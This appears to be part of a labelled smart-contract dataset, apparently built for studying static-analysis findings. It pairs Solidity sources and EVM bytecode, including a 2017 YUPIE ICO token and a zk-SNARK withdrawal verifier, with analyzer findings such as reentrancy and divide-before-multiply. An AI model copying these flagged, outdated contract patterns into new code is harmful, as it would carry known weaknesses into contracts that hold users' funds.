246000fd5b6000600019821415611c6457611c64611c3a565b5060010190565b60008219821115611c7e57611c7e611c3a565b500190565b600082821015611c9557611c95611c3a565b500390565b600060208284031215611cac57600080fd5b8151611295816118f3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d075784516001600160a01b031683529383019391830191600101611ce2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d4557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d6457611d64611c3a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122018bbe8e10e8b2063a6b32010f108e5dcaa86a9b42082b1574c09b6dfdb1e093864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,607
0x0f33bb20a282a7649c7b3aff644f084a9348e933
pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract YupieToken is StandardToken { using SafeMath for uint256; // EVENTS event CreatedYUPIE(address indexed _creator, uint256 _amountOfYUPIE); // TOKEN DATA string public constant name = "YUPIE"; string public constant symbol = "YUP"; uint256 public constant decimals = 18; string public version = "1.0"; // YUPIE TOKEN PURCHASE LIMITS uint256 public maxPresaleSupply; // MAX TOTAL DURING PRESALE (0.8% of MAXTOTALSUPPLY) // PURCHASE DATES uint256 public constant preSaleStartTime = 1502784000; // GMT: Tuesday, August 15, 2017 8:00:00 AM uint256 public constant preSaleEndTime = 1505671200; // GMT: Sunday, September 17, 2017 6:00:00 PM uint256 public saleStartTime = 1509523200; // GMT: Wednesday, November 1, 2017 8:00:00 AM uint256 public saleEndTime = 1512115200; // GMT: Friday, December 1, 2017 8:00:00 AM // PURCHASE BONUSES uint256 public lowEtherBonusLimit = 5 * 1 ether; // 5+ Ether uint256 public lowEtherBonusValue = 110; // 10% Discount uint256 public midEtherBonusLimit = 24 * 1 ether; // 24+ Ether uint256 public midEtherBonusValue = 115; // 15% Discount uint256 public highEtherBonusLimit = 50 * 1 ether; // 50+ Ether uint256 public highEtherBonusValue = 120; // 20% Discount uint256 public highTimeBonusLimit = 0; // 1-12 Days uint256 public highTimeBonusValue = 120; // 20% Discount uint256 public midTimeBonusLimit = 1036800; // 12-24 Days uint256 public midTimeBonusValue = 115; // 15% Discount uint256 public lowTimeBonusLimit = 2073600; // 24+ Days uint256 public lowTimeBonusValue = 110; // 10% Discount // PRICING INFO uint256 public constant YUPIE_PER_ETH_PRE_SALE = 3000; // 3000 YUPIE = 1 ETH uint256 public constant YUPIE_PER_ETH_SALE = 1000; // 1000 YUPIE = 1 ETH // ADDRESSES address public constant ownerAddress = 0x20C84e76C691e38E81EaE5BA60F655b8C388718D; // The owners address // STATE INFO bool public allowInvestment = true; // Flag to change if transfering is allowed uint256 public totalWEIInvested = 0; // Total WEI invested uint256 public totalYUPIESAllocated = 0; // Total YUPIES allocated mapping (address => uint256) public WEIContributed; // Total WEI Per Account // INITIALIZATIONS FUNCTION function YupieToken() { require(msg.sender == ownerAddress); totalSupply = 631*1000000*1000000000000000000; // MAX TOTAL YUPIES 631 million uint256 totalYUPIESReserved = totalSupply.mul(55).div(100); // 55% reserved for Crowdholding maxPresaleSupply = totalSupply*8/1000 + totalYUPIESReserved; // MAX TOTAL DURING PRESALE (0.8% of MAXTOTALSUPPLY) balances[msg.sender] = totalYUPIESReserved; totalYUPIESAllocated = totalYUPIESReserved; } // FALL BACK FUNCTION TO ALLOW ETHER DONATIONS function() payable { require(allowInvestment); // Smallest investment is 0.00001 ether uint256 amountOfWei = msg.value; require(amountOfWei >= 10000000000000); uint256 amountOfYUPIE = 0; uint256 absLowTimeBonusLimit = 0; uint256 absMidTimeBonusLimit = 0; uint256 absHighTimeBonusLimit = 0; uint256 totalYUPIEAvailable = 0; // Investment periods if (block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) { // Pre-sale ICO amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_PRE_SALE); absLowTimeBonusLimit = preSaleStartTime + lowTimeBonusLimit; absMidTimeBonusLimit = preSaleStartTime + midTimeBonusLimit; absHighTimeBonusLimit = preSaleStartTime + highTimeBonusLimit; totalYUPIEAvailable = maxPresaleSupply - totalYUPIESAllocated; } else if (block.timestamp > saleStartTime && block.timestamp < saleEndTime) { // ICO amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_SALE); absLowTimeBonusLimit = saleStartTime + lowTimeBonusLimit; absMidTimeBonusLimit = saleStartTime + midTimeBonusLimit; absHighTimeBonusLimit = saleStartTime + highTimeBonusLimit; totalYUPIEAvailable = totalSupply - totalYUPIESAllocated; } else { // Invalid investment period revert(); } // Check that YUPIES calculated greater than zero assert(amountOfYUPIE > 0); // Apply Bonuses if (amountOfWei >= highEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(highEtherBonusValue).div(100); } else if (amountOfWei >= midEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(midEtherBonusValue).div(100); } else if (amountOfWei >= lowEtherBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(lowEtherBonusValue).div(100); } if (block.timestamp >= absLowTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(lowTimeBonusValue).div(100); } else if (block.timestamp >= absMidTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(midTimeBonusValue).div(100); } else if (block.timestamp >= absHighTimeBonusLimit) { amountOfYUPIE = amountOfYUPIE.mul(highTimeBonusValue).div(100); } // Max sure it doesn&#39;t exceed remaining supply assert(amountOfYUPIE <= totalYUPIEAvailable); // Update total YUPIE balance totalYUPIESAllocated = totalYUPIESAllocated + amountOfYUPIE; // Update user YUPIE balance uint256 balanceSafe = balances[msg.sender].add(amountOfYUPIE); balances[msg.sender] = balanceSafe; // Update total WEI Invested totalWEIInvested = totalWEIInvested.add(amountOfWei); // Update total WEI Invested by account uint256 contributedSafe = WEIContributed[msg.sender].add(amountOfWei); WEIContributed[msg.sender] = contributedSafe; // CHECK VALUES assert(totalYUPIESAllocated <= totalSupply); assert(totalYUPIESAllocated > 0); assert(balanceSafe > 0); assert(totalWEIInvested > 0); assert(contributedSafe > 0); // CREATE EVENT FOR SENDER CreatedYUPIE(msg.sender, amountOfYUPIE); } // CHANGE PARAMETERS METHODS function transferEther(address addressToSendTo, uint256 value) { require(msg.sender == ownerAddress); addressToSendTo.transfer(value); } function changeAllowInvestment(bool _allowInvestment) { require(msg.sender == ownerAddress); allowInvestment = _allowInvestment; } function changeSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) { require(msg.sender == ownerAddress); saleStartTime = _saleStartTime; saleEndTime = _saleEndTime; } function changeEtherBonuses(uint256 _lowEtherBonusLimit, uint256 _lowEtherBonusValue, uint256 _midEtherBonusLimit, uint256 _midEtherBonusValue, uint256 _highEtherBonusLimit, uint256 _highEtherBonusValue) { require(msg.sender == ownerAddress); lowEtherBonusLimit = _lowEtherBonusLimit; lowEtherBonusValue = _lowEtherBonusValue; midEtherBonusLimit = _midEtherBonusLimit; midEtherBonusValue = _midEtherBonusValue; highEtherBonusLimit = _highEtherBonusLimit; highEtherBonusValue = _highEtherBonusValue; } function changeTimeBonuses(uint256 _highTimeBonusLimit, uint256 _highTimeBonusValue, uint256 _midTimeBonusLimit, uint256 _midTimeBonusValue, uint256 _lowTimeBonusLimit, uint256 _lowTimeBonusValue) { require(msg.sender == ownerAddress); highTimeBonusLimit = _highTimeBonusLimit; highTimeBonusValue = _highTimeBonusValue; midTimeBonusLimit = _midTimeBonusLimit; midTimeBonusValue = _midTimeBonusValue; lowTimeBonusLimit = _lowTimeBonusLimit; lowTimeBonusValue = _lowTimeBonusValue; } }
0x606060405236156101e05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305b1137b811461056f57806306d65af31461059357806306fdde03146105b8578063072448f714610643578063095ea7b3146106685780630c0229331461069e5780630dc9c838146106c35780631179cf71146106de578063139323371461070357806318160ddd146107285780631cbaee2d1461074d57806321bdb26e1461077257806323b872dd146107975780632f1ad449146107d3578063313ce5671461080457806334302d821461082957806341c8146c1461084e5780634fc4b5a01461087557806354fd4d501461089a5780635b4538101461092557806362a1029c1461094c5780636d029f6a1461097157806370a08231146109965780637ee62440146109c757806386707026146109ec5780638f84aa0914610a11578063936224b814610a4057806395612ec014610a6557806395d89b4114610a8c578063a9059cbb14610b17578063b1e2e28c14610b4d578063b9531df314610b72578063c3a1e7cc14610b97578063c86c50f714610bbc578063cce29ea714610bd6578063dd62ed3e14610bfb578063e20bce0a14610c32578063ed338ff114610c57578063ee607ab114610c7c575b61056d5b600080600080600080600080601360009054906101000a900460ff16151561020b57600080fd5b3497506509184e72a00088101561022157600080fd5b6000965060009550600094506000935060009250635992aa004211801561024b57506359beb82042105b156102935761026288610bb863ffffffff610ca116565b9650601154635992aa00019550600f54635992aa00019450600d54635992aa000193506015546004540392506102ec565b600554421180156102a5575060065442105b156102e7576102bc886103e863ffffffff610ca116565b9650601154600554019550600f54600554019450600d546005540193506015546000540392506102ec565b600080fd5b5b600087116102f757fe5b600b54881061032d57610326606461031a600c548a610ca190919063ffffffff16565b9063ffffffff610cd016565b9650610395565b600954881061036357610326606461031a600a548a610ca190919063ffffffff16565b9063ffffffff610cd016565b9650610395565b600754881061039557610392606461031a6008548a610ca190919063ffffffff16565b9063ffffffff610cd016565b96505b5b5b428690106103cc576103c5606461031a6012548a610ca190919063ffffffff16565b9063ffffffff610cd016565b9650610432565b42859010610401576103c5606461031a6010548a610ca190919063ffffffff16565b9063ffffffff610cd016565b9650610432565b428490106104325761042f606461031a600e548a610ca190919063ffffffff16565b9063ffffffff610cd016565b96505b5b5b8287111561043e57fe5b6015805488019055600160a060020a03331660009081526001602052604090205461046f908863ffffffff610cec16565b600160a060020a03331660009081526001602052604090208190556014549092506104a0908963ffffffff610cec16565b601455600160a060020a0333166000908152601660205260409020546104cc908963ffffffff610cec16565b600160a060020a0333166000908152601660205260408120829055546015549192509011156104f757fe5b6015546000901161050457fe5b6000821161050e57fe5b6014546000901161051b57fe5b6000811161052557fe5b33600160a060020a03167f6f5f7ba2c9083537caa4ef3d118c503788abb0b2d5f97f9bb78530d2f9a614ae8860405190815260200160405180910390a25b5050505050505050565b005b341561057a57600080fd5b61056d600160a060020a0360043516602435610d06565b005b341561059e57600080fd5b6105a6610d65565b60405190815260200160405180910390f35b34156105c357600080fd5b6105cb610d6d565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156106085780820151818401525b6020016105ef565b50505050905090810190601f1680156106355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064e57600080fd5b6105a6610da4565b60405190815260200160405180910390f35b341561067357600080fd5b61068a600160a060020a0360043516602435610daa565b604051901515815260200160405180910390f35b34156106a957600080fd5b6105a6610e51565b60405190815260200160405180910390f35b34156106ce57600080fd5b61056d600435602435610e57565b005b34156106e957600080fd5b6105a6610e8f565b60405190815260200160405180910390f35b341561070e57600080fd5b6105a6610e95565b60405190815260200160405180910390f35b341561073357600080fd5b6105a6610e9b565b60405190815260200160405180910390f35b341561075857600080fd5b6105a6610ea1565b60405190815260200160405180910390f35b341561077d57600080fd5b6105a6610ea7565b60405190815260200160405180910390f35b34156107a257600080fd5b61068a600160a060020a0360043581169060243516604435610ead565b604051901515815260200160405180910390f35b34156107de57600080fd5b6105a6600160a060020a0360043516610fc2565b60405190815260200160405180910390f35b341561080f57600080fd5b6105a6610fd4565b60405190815260200160405180910390f35b341561083457600080fd5b6105a6610fd9565b60405190815260200160405180910390f35b341561085957600080fd5b61056d60043560243560443560643560843560a435610fdf565b005b341561088057600080fd5b6105a661102f565b60405190815260200160405180910390f35b34156108a557600080fd5b6105cb611035565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156106085780820151818401525b6020016105ef565b50505050905090810190601f1680156106355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561093057600080fd5b61056d60043560243560443560643560843560a4356110d3565b005b341561095757600080fd5b6105a6611123565b60405190815260200160405180910390f35b341561097c57600080fd5b6105a6611129565b60405190815260200160405180910390f35b34156109a157600080fd5b6105a6600160a060020a036004351661112f565b60405190815260200160405180910390f35b34156109d257600080fd5b6105a661114e565b60405190815260200160405180910390f35b34156109f757600080fd5b6105a6611154565b60405190815260200160405180910390f35b3415610a1c57600080fd5b610a2461115a565b604051600160a060020a03909116815260200160405180910390f35b3415610a4b57600080fd5b6105a6611172565b60405190815260200160405180910390f35b3415610a7057600080fd5b61068a611178565b604051901515815260200160405180910390f35b3415610a9757600080fd5b6105cb611181565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156106085780820151818401525b6020016105ef565b50505050905090810190601f1680156106355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610b2257600080fd5b61068a600160a060020a03600435166024356111b8565b604051901515815260200160405180910390f35b3415610b5857600080fd5b6105a6611278565b60405190815260200160405180910390f35b3415610b7d57600080fd5b6105a661127e565b60405190815260200160405180910390f35b3415610ba257600080fd5b6105a6611284565b60405190815260200160405180910390f35b3415610bc757600080fd5b61056d600435151561128a565b005b3415610be157600080fd5b6105a66112c5565b60405190815260200160405180910390f35b3415610c0657600080fd5b6105a6600160a060020a03600435811690602435166112cd565b60405190815260200160405180910390f35b3415610c3d57600080fd5b6105a66112fa565b60405190815260200160405180910390f35b3415610c6257600080fd5b6105a6611300565b60405190815260200160405180910390f35b3415610c8757600080fd5b6105a6611306565b60405190815260200160405180910390f35b6000828202831580610cbd5750828482811515610cba57fe5b04145b1515610cc557fe5b8091505b5092915050565b6000808284811515610cde57fe5b0490508091505b5092915050565b600082820183811015610cc557fe5b8091505b5092915050565b33600160a060020a03167320c84e76c691e38e81eae5ba60f655b8c388718d14610d2f57600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610d6057600080fd5b5b5050565b635992aa0081565b60408051908101604052600581527f5955504945000000000000000000000000000000000000000000000000000000602082015281565b60105481565b6000811580610ddc5750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b1515610de757600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600e5481565b33600160a060020a03167320c84e76c691e38e81eae5ba60f655b8c388718d14610e8057600080fd5b600582905560068190555b5050565b60085481565b600d5481565b60005481565b60055481565b60045481565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152812054909190610ef4908463ffffffff610cec16565b600160a060020a038086166000908152600160205260408082209390935590871681522054610f29908463ffffffff61130c16565b600160a060020a038616600090815260016020526040902055610f52818463ffffffff61130c16565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b60166020526000908152604090205481565b601281565b600f5481565b33600160a060020a03167320c84e76c691e38e81eae5ba60f655b8c388718d1461100857600080fd5b600d869055600e859055600f8490556010839055601182905560128190555b505050505050565b600c5481565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110cb5780601f106110a0576101008083540402835291602001916110cb565b820191906000526020600020905b8154815290600101906020018083116110ae57829003601f168201915b505050505081565b33600160a060020a03167320c84e76c691e38e81eae5ba60f655b8c388718d146110fc57600080fd5b600786905560088590556009849055600a839055600b829055600c8190555b505050505050565b610bb881565b60155481565b600160a060020a0381166000908152600160205260409020545b919050565b600b5481565b60095481565b7320c84e76c691e38e81eae5ba60f655b8c388718d81565b600a5481565b60135460ff1681565b60408051908101604052600381527f5955500000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a0333166000908152600160205260408120546111e1908363ffffffff61130c16565b600160a060020a033381166000908152600160205260408082209390935590851681522054611216908363ffffffff610cec16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b6103e881565b60115481565b60145481565b33600160a060020a03167320c84e76c691e38e81eae5ba60f655b8c388718d146112b357600080fd5b6013805460ff19168215151790555b50565b6359beb82081565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60125481565b60065481565b60075481565b60008282111561131857fe5b508082035b929150505600a165627a7a723058208f2650566bf17276821164528b1fa01ae8ac6cc042da45eaaa7989bfc94743f90029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,608
0x3934f39fA3EfF288555647115BCD79F4E7085469
// SPDX-License-Identifier: AGPL-3.0 // // Copyright 2017 Christian Reitwiessner // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // 2019 OKIMS // ported to solidity 0.6 // fixed linter warnings // added requiere error messages // // // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.11; library Pairing { struct G1Point { uint X; uint Y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint[2] X; uint[2] Y; } /// @return the generator of G1 function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); } /// @return the generator of G2 function P2() internal pure returns (G2Point memory) { // Original code point return G2Point( [11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930] ); /* // Changed by Jordi point return G2Point( [10857046999023057135944570762232829481370756359578518086990519993285655852781, 11559732032986387107991004021392285783925812861821192530917403151452391805634], [8495653923123431417604973247489272438418190587263600148770280649306958101930, 4082367875863433681332203403145435568316851327593401208105741076214120093531] ); */ } /// @return r the negation of p, i.e. p.addition(p.negate()) should be zero. function negate(G1Point memory p) internal pure returns (G1Point memory r) { // The prime q in the base field F_q for G1 uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; if (p.X == 0 && p.Y == 0) return G1Point(0, 0); return G1Point(p.X, q - (p.Y % q)); } /// @return r the sum of two points of G1 function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) { uint[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-add-failed"); } /// @return r the product of a point on G1 and a scalar, i.e. /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p. function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) { uint[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require (success,"pairing-mul-failed"); } /// @return the result of computing the pairing check /// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should /// return true. function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) { require(p1.length == p2.length,"pairing-lengths-failed"); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-opcode-failed"); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } /// Convenience method for a pairing check for three pairs. function pairingProd3( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](3); G2Point[] memory p2 = new G2Point[](3); p1[0] = a1; p1[1] = b1; p1[2] = c1; p2[0] = a2; p2[1] = b2; p2[2] = c2; return pairing(p1, p2); } /// Convenience method for a pairing check for four pairs. function pairingProd4( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2, G1Point memory d1, G2Point memory d2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](4); G2Point[] memory p2 = new G2Point[](4); p1[0] = a1; p1[1] = b1; p1[2] = c1; p1[3] = d1; p2[0] = a2; p2[1] = b2; p2[2] = c2; p2[3] = d2; return pairing(p1, p2); } } contract VerifierWithdraw { using Pairing for *; struct VerifyingKey { Pairing.G1Point alfa1; Pairing.G2Point beta2; Pairing.G2Point gamma2; Pairing.G2Point delta2; Pairing.G1Point[] IC; } struct Proof { Pairing.G1Point A; Pairing.G2Point B; Pairing.G1Point C; } function verifyingKey() internal pure returns (VerifyingKey memory vk) { vk.alfa1 = Pairing.G1Point(20491192805390485299153009773594534940189261866228447918068658471970481763042,9383485363053290200918347156157836566562967994039712273449902621266178545958); vk.beta2 = Pairing.G2Point([4252822878758300859123897981450591353533073413197771768651442665752259397132,6375614351688725206403948262868962793625744043794305715222011528459656738731], [21847035105528745403288232691147584728191162732299865338377159692350059136679,10505242626370262277552901082094356697409835680220590971873171140371331206856]); vk.gamma2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531,8495653923123431417604973247489272438418190587263600148770280649306958101930]); vk.delta2 = Pairing.G2Point([2751094526990534090668894238253836180016709486872203368764444200147936278656,3867486542528089148218819604531577576526974258710228714274713759852911283414], [20204874591037440504705650964783155054604500481118210328828746304955488319320,806563933012591355070533443501159108870756279425075113167025765074681099931]); vk.IC = new Pairing.G1Point[](2); vk.IC[0] = Pairing.G1Point(1236075739224222093527217122122373155890993807754795083486325331194264991809,16402217793693883494945175470197449161172120247390461678250316304895863629108); vk.IC[1] = Pairing.G1Point(639580067677185628264165442784544121418477718445878514190672006562590353682,13296455779249205142581100669360977915800042274550493883216477569522005734669); } function verify(uint[] memory input, Proof memory proof) internal view returns (uint) { uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617; VerifyingKey memory vk = verifyingKey(); require(input.length + 1 == vk.IC.length,"verifier-bad-input"); // Compute the linear combination vk_x Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); for (uint i = 0; i < input.length; i++) { require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field"); vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i])); } vk_x = Pairing.addition(vk_x, vk.IC[0]); if (!Pairing.pairingProd4( Pairing.negate(proof.A), proof.B, vk.alfa1, vk.beta2, vk_x, vk.gamma2, proof.C, vk.delta2 )) return 1; return 0; } /// @return r bool true if proof is valid function verifyProof( uint[2] memory a, uint[2][2] memory b, uint[2] memory c, uint[1] memory input ) public view returns (bool r) { Proof memory proof; proof.A = Pairing.G1Point(a[0], a[1]); proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]); proof.C = Pairing.G1Point(c[0], c[1]); uint[] memory inputValues = new uint[](input.length); for(uint i = 0; i < input.length; i++){ inputValues[i] = input[i]; } if (verify(inputValues, proof) == 0) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806343753b4d14610030575b600080fd5b61012c600480360361012081101561004757600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201829052506040805180820190915293969594608081019493509150600290835b828210156100c8576040805180820182529080840286019060029083908390808284376000920191909152505050815260019091019060200161008a565b5050604080518082018252939695948181019493509150600290839083908082843760009201919091525050604080516020818101909252929594938181019392509060019083908390808284376000920191909152509194506101409350505050565b604080519115158252519081900360200190f35b600061014a610d41565b6040805180820182528751815260208089015181830152908352815160808101835287515181840190815288518301516060808401919091529082528351808501855289840180515182525184015181850152828401528483019190915282518084018452875181528783015181840152848401528251600180825281850190945290929091828101908036833701905050905060005b600181101561021a578481600181106101f657fe5b602002015182828151811061020757fe5b60209081029190910101526001016101e1565b506102258183610243565b6102345760019250505061023b565b6000925050505b949350505050565b60007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000161026e610d73565b61027661041f565b90508060800151518551600101146102ca576040805162461bcd60e51b81526020600482015260126024820152711d995c9a599a595c8b5898590b5a5b9c1d5d60721b604482015290519081900360640190fd5b6102d2610dba565b6040518060400160405280600081526020016000815250905060005b86518110156103a8578387828151811061030457fe5b60200260200101511061035e576040805162461bcd60e51b815260206004820152601f60248201527f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400604482015290519081900360640190fd5b61039e826103998560800151846001018151811061037857fe5b60200260200101518a858151811061038c57fe5b60200260200101516107a0565b610835565b91506001016102ee565b506103cb8183608001516000815181106103be57fe5b6020026020010151610835565b90506104016103dd86600001516108c6565b8660200151846000015185602001518587604001518b604001518960600151610952565b6104115760019350505050610419565b600093505050505b92915050565b610427610d73565b6040805180820182527f2d4d9aa7e302d9df41749d5507949d05dbea33fbb16c643b2